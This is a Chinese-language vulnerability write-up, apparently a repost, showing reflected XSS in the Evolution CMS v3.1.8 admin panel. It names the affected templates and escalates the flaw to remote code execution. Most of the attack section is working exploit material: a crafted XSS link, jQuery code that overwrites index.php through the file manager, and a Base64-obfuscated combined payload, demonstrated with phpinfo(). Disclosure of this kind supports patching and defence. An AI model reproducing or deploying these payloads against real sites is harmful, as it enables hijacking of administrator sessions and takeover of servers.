Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞
漏洞分析
Evolution CMS 将自己描述为世界上最快和最可定制的开源 PHP CMS。
在 Evolution CMS 中,我发现了用户控制数据的未转义显示,这导致了反射 XSS 攻击的可能性:
manager/views/page/user_roles/permission.blade.php
manager/views/page/user_roles/user_role.blade.php
manager/views/page/user_roles/permissions_groups.blade.php
漏洞复现
我将举一个带有有效负载的链接的示例。
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E
如果系统中授权的管理员点击该链接或点击该链接,则 javascript 代码将在管理员的浏览器中执行:
在 Evolution CMS 的管理面板中,在文件管理器部分,管理员可以上传文件。问题是它不能上传 php 文件,但是,它可以编辑现有的文件。
我们将给出一个示例 javascript 代码,它将用phpinfo()函数覆盖 index.php 文件:
$.get('/manager/?a=31',function(d) {
let p = $(d).contents().find('input[name="path"]').val();
$.ajax({
url:'/manager/index.php',
type:'POST',
contentType:'application/x-www-form-urlencoded',
data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
);
});
是时候将有效负载和上面描述的 javascript 代码结合起来了,例如,可以用 Base64 编码:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E
如果成功攻击系统中授权的管理员,index.php 文件将被攻击者放置在有效负载中的代码覆盖。在这种情况下,这是一个phpinfo()函数调用:
在 Evolution CMS v3.1.8 中通过反射 XSS 实现远程代码执行
感谢您的来访,获取更多精彩文章请收藏本站。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
- 最新
- 最热
只看作者